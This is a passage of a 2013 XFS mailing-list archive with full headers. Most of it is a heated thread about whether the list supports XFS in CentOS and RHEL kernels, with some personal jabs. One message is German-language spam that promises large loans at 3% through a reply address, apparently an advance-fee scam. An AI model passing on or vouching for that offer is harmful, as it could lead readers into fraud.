RPM." >From there, we veered *very* close to "we don't talk to people unless they're paying Red Had customers", and I'm relatively certain that was *not* the takeaway Dave was aiming for with us. Those kernel packagers *should* (be able to) tell the XFS people those answers off hand. If I were a developer on a major kernel subsystem project where that actually mattered, I think I'd probably get with the kernel builders at at least the major distros and kernel.org, and get them to tell me... but that is a pretty far cry from my even *suggesting* that the XFS devs do so, much less -- as it feels like Stan believes I already have -- saying that I *expect* they should do so. To any event that I "expect" that -- I expect it as a professional system administrator with 30 years experience and lots of practice dealing with systems at both the micro and macro level. Not as any kind of "customer". *I* *have* read my Raymond and Moen, for all the good it's doing me. :-} But I still do have those professional SA reflexes, and they still inform the way that I make strategic decisions and choices about distros and their various components. And not all of those decisions are strictly technological. Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From stan@hardwarefreak.com Sun Jul 28 00:09:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 50DD27F76 for ; Sun, 28 Jul 2013 00:09:20 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 30C0A8F8035 for ; Sat, 27 Jul 2013 22:09:17 -0700 (PDT) X-ASG-Debug-ID: 1374988156-04cb6c2e9f162570001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id c6PI6QK8JrCVX9MT for ; Sat, 27 Jul 2013 22:09:16 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 2385A6C0CF; Sun, 28 Jul 2013 00:09:16 -0500 (CDT) Message-ID: <51F4A77A.30502@hardwarefreak.com> Date: Sun, 28 Jul 2013 00:09:14 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Jay Ashworth CC: xfs@oss.sgi.com Subject: Purpose of the XFS list -- was: A short digression on FOSS (Re: understanding speculative preallocation) References: <31450470.2412.1374978094689.JavaMail.root@benjamin.baylink.com> X-ASG-Orig-Subj: Purpose of the XFS list -- was: A short digression on FOSS (Re: understanding speculative preallocation) In-Reply-To: <31450470.2412.1374978094689.JavaMail.root@benjamin.baylink.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1374988156 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 7/27/2013 9:21 PM, Jay Ashworth wrote: ... > From there, we veered *very* close to "we don't talk to people unless > they're paying Red Had customers"... Not even close. We don't typically talk to RHEL customers on this mailing list Jay. RHEL customers get their XFS support via Red Hat Customer Support. Let's cut through all the BS, educate you, and end this OT thread. Pay attention. The XFS mailing list exists for _mainline Linux_ XFS development, discussion, collaboration, and user support. The list is hosted by SGI, as well as the primary list archive, the master branch repo, etc. Red Hat now employs, has for some years, most/all of the core XFS developers, many of whom previously worked for SGI. Their participation on the XFS list is the same as the purpose of the XFS list itself, as stated above. The work they do for the RHEL kernel isn't discussed here and the RHEL kernel isn't generally supported here because it is not a mainline kernel, and because those users should be assisted by Red Hat Support--after all they pay for that. CentOS is a direct clone of RHEL. It uses the RHEL kernel. Thus XFS in the CentOS kernel is not generally supported on this mailing list. CentOS (and RHEL) userland XFS tools yes, kernel no. If there were some other custom distro kernel out there that was non mainline, it wouldn't get support here either. The reason "we" (and I'm not a Red Hat employee, nor a RHEL user) suggest to CentOS users that they become paying RHEL customers is obvious: they already use the software and are familiar and presumably comfortable with it and prefer it. If they pay they get Red Hat support for XFS in the kernel, along with anything else kernel related. If they want to continue to use a "no cost" OS and get support on this mailing list, they must have a distro with a mainline kernel. So the other obvious option is move to a distro that uses a mainline kernel. They may also be able to install a mainline kernel on CentOS, as someone suggested previously. Nobody here is aiming guns at CentOS users heads. They have plenty of support options. It just so happens that using the stock CentOS (RHEL) kernel isn't one of them. -- Stan From mlsemon35@gmail.com Sun Jul 28 00:15:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E3CC97F80 for ; Sun, 28 Jul 2013 00:15:52 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 71164AC001 for ; Sat, 27 Jul 2013 22:15:49 -0700 (PDT) X-ASG-Debug-ID: 1374988547-04cb6c2e9f162c50001-NocioJ Received: from mail-yh0-f41.google.com (mail-yh0-f41.google.com [209.85.213.41]) by cuda.sgi.com with ESMTP id 2Myi4F6fQAEpdcPk (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 27 Jul 2013 22:15:48 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.41 X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.41] Received: by mail-yh0-f41.google.com with SMTP id b12so881941yha.14 for ; Sat, 27 Jul 2013 22:15:47 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.41] X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.41] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=bFmBIgIQjYuX+QSo3mkF2yQyw1/3qbz0TnkslY5bqIw=; b=PqTWnXiwKSjRrfgfsljiukYiLLF2xc2NqOGUzq3yrBpWKPQZhibKMZ8GKcQrKh1KSW SEj8sThfpAK3uIM5zRRXql4651xXH7DbJkrXnmjnZfrIt4xGxorQqzt54n5tHE3iUHph D8KxC4TcRaiuF0nTgc6dU3dNzz9ybZrQgM9xuv1I14oqJeA4VDIFsUvGK6iOHMr5V/RH Y1ZnfYtbVOqzZ66kyVC7totMASRFK/btW/a7Cz/h4SfaphRgcAo8KVKb4VKeIKDQUeTV RdBafBBbpyYlyZ9tmy7yRsXTiLWyQhXOJpRmW0vLgYvGUJ1roQkR7uA8vDzJQzaSMJL1 VSeg== X-Received: by 10.236.1.165 with SMTP id 25mr24142700yhd.108.1374988547775; Sat, 27 Jul 2013 22:15:47 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-78-60-146.se.biz.rr.com. [97.78.60.146]) by mx.google.com with ESMTPSA id l67sm75690593yhc.26.2013.07.27.22.15.46 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 27 Jul 2013 22:15:47 -0700 (PDT) Message-ID: <51F4A8F4.8030604@gmail.com> Date: Sun, 28 Jul 2013 01:15:32 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Jay Ashworth CC: xfs@oss.sgi.com Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) References: <6869770.2390.1374958821773.JavaMail.root@benjamin.baylink.com> X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) In-Reply-To: <6869770.2390.1374958821773.JavaMail.root@benjamin.baylink.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-yh0-f41.google.com[209.85.213.41] X-Barracuda-Start-Time: 1374988548 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137356 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 07/27/2013 05:00 PM, Jay Ashworth wrote: > ----- Original Message ----- >> From: "Stan Hoeppner" > >> On 7/26/2013 2:43 PM, Jay Ashworth wrote: >> >>> But to address your specific point, I don't believe that RH is going >>> to >>> base its opinion on what time its employees spend supporting the >>> remainder >>> of the FOSS ecosystem on whether the relevant distro was copied from >>> theirs, >>> or not -- and I will be disappointed, publicly, and vocally, if they >>> do. >> >> On 7/26/2013 8:26 PM, Dave Chinner wrote: > > In a message which, for some reason, I do not see here in my list folder; > (it wasn't in my inbox either; this seems a running thing) > >>> Disclaimer: I'm the primary RHEL XFS developer, employed by Red Hat. >>> >>> CentOS is a rebadged RHEL product that is released for free. If you >>> want bugs fixed in CentOS, then generally you are on your own. If >>> you want paid support where people will fix problems you have, you >>> need to pay for RHEL. >>> >>> You get what you pay for. >> >> Jay, I'm awaiting your public and vocal disappointment. BTW, Dave has >> stated this position regarding CentOS many times. I'm guessing you're >> new to the XFS list (July 13 maybe) or simply missed such prior posts >> if you've been lurking much longer. > > I am new to the list, yes. But -- and I can only reply to what you > quoted here; apologies to DC if it's less than what he wrote -- I am > in fact disappointed: in Dave for the strawman reply. No one, that I > saw, *reported bugs or asked for support* with CentOS. > > The question -- and it was coming from someone who sounded like > they had read their Raymond, Moen, and Tatham, was "how do I > determine *which version of the XFS drivers* is in the kernel > I'm running, so that I can helpfully report my problems to the list". > > If Dave thinks *that* question is out of bounds, then when I do my > rotating reformat to recover from my recent power supply induced > crash, XFS will not be the file system I pick off the pulldown menu > to reformat with. > > As I've just had to explain to the openSUSE release configuration > people over sysVinit and packaging, the policies of the developers > underneath the code are *much* more important to me than the code > is, or what the code does. > > If the implication of Dave's comment above is that he's not interested > in bug reports from people who aren't paid customers of RH, I'm fine > with that as well; his call. Clearly, I won't be one of those, > either; my sister isn't interested in paying $1200/yr for the OS on > her DVR. > > Perhaps I'm misinterpreting one of you. > > Cheers, > -- jra Dave's always been perfectly nice to me and handled my bug reports professionally, even though I use Slackware and not RHEL. Basically, don't be a selfish, entitled, snobby jerk and then expect Dave to fix something for you at no charge. For him to do so would be slavery, and that is against the founding principles of free software. Michael From stefanrin@gmail.com Sun Jul 28 02:18:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 24EBB7F7E for ; Sun, 28 Jul 2013 02:18:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B4453AC002 for ; Sun, 28 Jul 2013 00:18:54 -0700 (PDT) X-ASG-Debug-ID: 1374995932-04bdf02f2116f3c0001-NocioJ Received: from mail-we0-f172.google.com (mail-we0-f172.google.com [74.125.82.172]) by cuda.sgi.com with ESMTP id DRA9t9bKFtGDVGo9 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 28 Jul 2013 00:18:53 -0700 (PDT) X-Barracuda-Envelope-From: stefanrin@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.172 Received: by mail-we0-f172.google.com with SMTP id t61so3096813wes.3 for ; Sun, 28 Jul 2013 00:18:52 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=NHLP5r72QEUpznjUsGrElFCvJLVQCUHSE0xnsizr3Cw=; b=kaGEbiwcgGUXcIWEUA0sgc3NYDznUZAvokKuTt6VV5ZQjYJUTxVkVfzvzXmSYbpyfm d8n5mKTjMrlVqXV+C6VDCZeCQAqqGhH3/tNho0RN+t/ArrHDsdVTTu6FtHdc2p/boZFr O24d9NlMk0WKJJfsTeN1kSfl+r9XiQkUcflfmuLDcY+gzc9NOJfI4NQuyBDRmWJlGI+G s+O7CyZP3fdFr2sYuKvldFEL4i8wvLen9xdv1sRxjzGsFcWBT0r61OKgcxbhS8YqP1iW TaBzIELemWwImBfD8Wg63knaEx75YkwHzr9SQyJZCLeTInb4lm3EAge7byf8456yxVVu lHJg== MIME-Version: 1.0 X-Received: by 10.180.12.196 with SMTP id a4mr3686285wic.29.1374995932153; Sun, 28 Jul 2013 00:18:52 -0700 (PDT) Received: by 10.194.56.138 with HTTP; Sun, 28 Jul 2013 00:18:52 -0700 (PDT) In-Reply-To: <31450470.2412.1374978094689.JavaMail.root@benjamin.baylink.com> References: <52C3E9E6-61DD-4537-9A64-C8CBFC86F6E3@gmail.com> <31450470.2412.1374978094689.JavaMail.root@benjamin.baylink.com> Date: Sun, 28 Jul 2013 09:18:52 +0200 Message-ID: Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) From: Stefan Ring X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) To: Jay Ashworth Cc: Linux fs XFS Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-we0-f172.google.com[74.125.82.172] X-Barracuda-Start-Time: 1374995933 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137359 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature > "You have to talk to whomever builds the kernel packages for the distro > you're working on; they should be able to tell you which XFS {version| > release|checkout} is built into that particular kernel RPM." For what it's worth, you can try to pry this info out of Oracle's RedPatch , which actually doesn't look all that active anymore recently, but given that it's Oracle, one cannot seriously be surprised about anything. The thing is, that RHEL XFS and mainline XFS seem to have drifted apart a good deal, and as result, for an outsider, it is very difficult to correlate patches between the two branches. From jra@baylink.com Sun Jul 28 10:46:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0FA2229DFC for ; Sun, 28 Jul 2013 10:46:04 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D4B458F8037 for ; Sun, 28 Jul 2013 08:46:00 -0700 (PDT) X-ASG-Debug-ID: 1375026358-04bdf02f22188ce0001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id ABNB1DfLw3DmLipH for ; Sun, 28 Jul 2013 08:45:59 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 76CEC1F00362 for ; Sun, 28 Jul 2013 11:45:58 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 3dRAAb6J7AbK for ; Sun, 28 Jul 2013 11:45:54 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id 4F7AF1F00206 for ; Sun, 28 Jul 2013 11:45:54 -0400 (EDT) Date: Sun, 28 Jul 2013 11:45:54 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <22300590.2458.1375026354258.JavaMail.root@benjamin.baylink.com> In-Reply-To: <51F4A77A.30502@hardwarefreak.com> Subject: Re: Purpose of the XFS list -- was: A short digression on FOSS (Re: understanding speculative preallocation) MIME-Version: 1.0 X-ASG-Orig-Subj: Re: Purpose of the XFS list -- was: A short digression on FOSS (Re: understanding speculative preallocation) Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [107.41.138.91] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1375026358 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137370 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 ----- Original Message ----- > From: "Stan Hoeppner" > CentOS is a direct clone of RHEL. It uses the RHEL kernel. Thus XFS in > the CentOS kernel is not generally supported on this mailing list. > CentOS (and RHEL) userland XFS tools yes, kernel no. If there were some > other custom distro kernel out there that was non mainline, it wouldn't > get support here either. Like, um, SuSE. Which hasn't used "mainline kernels" in years, if ever. What, exactly, Stan, *is* a mainline kernel? kernel.org kernels? No distribution worth its oats is using those; it isn't just CentOS. > The reason "we" (and I'm not a Red Hat employee, nor a RHEL user) > suggest to CentOS users that they become paying RHEL customers is > obvious: they already use the software and are familiar and presumably > comfortable with it and prefer it. If they pay they get Red Hat support > for XFS in the kernel, along with anything else kernel related. If they > want to continue to use a "no cost" OS and get support on this mailing > list, they must have a distro with a mainline kernel. So the other > obvious option is move to a distro that uses a mainline kernel. They > may also be able to install a mainline kernel on CentOS, as someone > suggested previously. Or, they could use any other distro that isn't RHEL. Or, well, SuSE, if your assertion is actually accurate, which I think it's not, clearly. > Nobody here is aiming guns at CentOS users heads. They have plenty of > support options. It just so happens that using the stock CentOS (RHEL) > kernel isn't one of them. Ok. Got it. Then, since CentOS is the only realistic non-$1200/server/yr distro available, I won't be using XFS anymore. Note that you are pretty wildly violating the spirit of FOSS here. Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From jra@baylink.com Sun Jul 28 10:48:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B304329DFC for ; Sun, 28 Jul 2013 10:48:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 92FAA304032 for ; Sun, 28 Jul 2013 08:48:36 -0700 (PDT) X-ASG-Debug-ID: 1375026511-04cbb02c3e185950001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id ddq4UgDU5nawbh4b for ; Sun, 28 Jul 2013 08:48:32 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id DB9D61F003D4 for ; Sun, 28 Jul 2013 11:48:16 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ipPGHAJvEx6v for ; Sun, 28 Jul 2013 11:48:12 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id 7863D1F00325 for ; Sun, 28 Jul 2013 11:48:12 -0400 (EDT) Date: Sun, 28 Jul 2013 11:48:12 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <12587602.2462.1375026492464.JavaMail.root@benjamin.baylink.com> In-Reply-To: Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) MIME-Version: 1.0 X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [107.41.138.91] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1375026511 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137371 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL > The thing is, that RHEL XFS and mainline XFS seem to have drifted > apart a good deal, and as result, for an outsider, it is very > difficult to correlate patches between the two branches. Exactly why I recommended the OP talk to the appropriate kernel packagers. How my clariyfing that turned into my being an entitled snobby jerk is entirely unclear to me. Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From gwalter@talktalk.net Sun Jul 28 11:00:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_CONTACT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A568229DFC for ; Sun, 28 Jul 2013 11:00:04 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7E3178F8033 for ; Sun, 28 Jul 2013 09:00:04 -0700 (PDT) X-ASG-Debug-ID: 1375027202-04bdf02f211898a0001-NocioJ Received: from shiningdolphin.webdevfish.com ([192.111.155.37]) by cuda.sgi.com with ESMTP id JF1iiQkN1A9Kl6qa (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Sun, 28 Jul 2013 09:00:02 -0700 (PDT) X-Barracuda-Envelope-From: gwalter@talktalk.net X-Barracuda-Apparent-Source-IP: 192.111.155.37 Received: from localhost ([::1]:50069 helo=computers-shops.net) by shiningdolphin.webdevfish.com with esmtpa (Exim 4.80.1) (envelope-from ) id 1V3TMe-0005Dv-J4; Sun, 28 Jul 2013 17:58:32 +0200 Received: from 41.74.12.25 ([41.74.12.25]) (SquirrelMail authenticated user gloria@computers-shops.net) by computers-shops.net with HTTP; Sun, 28 Jul 2013 18:58:32 +0300 Message-ID: <516ff560e17a6022f06d5bf95c2bd065.squirrel@computers-shops.net> Date: Sun, 28 Jul 2013 18:58:32 +0300 Subject: Finanzierung Angebot From: "GINTTINGER Walter" X-ASG-Orig-Subj: Finanzierung Angebot Reply-To: gittinger.walter@att.net User-Agent: SquirrelMail/1.4.22 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - shiningdolphin.webdevfish.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - talktalk.net X-Get-Message-Sender-Via: shiningdolphin.webdevfish.com: authenticated_id: gloria@computers-shops.net X-Barracuda-Connect: UNKNOWN[192.111.155.37] X-Barracuda-Start-Time: 1375027202 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.31 X-Barracuda-Spam-Status: No, SCORE=1.31 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MISSING_HEADERS, RDNS_NONE, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137371 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 TO_CC_NONE No To: or Cc: header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS To: undisclosed-recipients:; Hallo. Sie sind auf der Suche nach Finanzierung, um Ihre Aktivitten, die Durchfhrung eines Projekts oder aus anderen Grnden wieder zu beleben. Ich gewhrt Darlehen von 3000 bis hin zu 4.000.000 mit einer Rate von 3 %. Fr weitere Informationen kontaktieren Sie mich: gittinger.walter@att.net Herzliche Gre From david@fromorbit.com Sun Jul 28 19:00:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2430C7F37 for ; Sun, 28 Jul 2013 19:00:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 97BEBAC002 for ; Sun, 28 Jul 2013 17:00:38 -0700 (PDT) X-ASG-Debug-ID: 1375056032-04cbb02c3e1a0a60001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id nnvzbzhTxPz09c4T for ; Sun, 28 Jul 2013 17:00:32 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqkGAE+w9VF5LPxH/2dsb2JhbABbgwa5JYUygRQXdIIkAQEEATocIwUHBAgDDgcDCSUPBQ0YAyETFIdqAwkFrjsNiF4WjH+CaAeEBQOVdoFojCeFJoMmKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl2.internode.on.net with ESMTP; 29 Jul 2013 09:30:05 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V3asa-0004bK-O0; Mon, 29 Jul 2013 10:00:00 +1000 Date: Mon, 29 Jul 2013 10:00:00 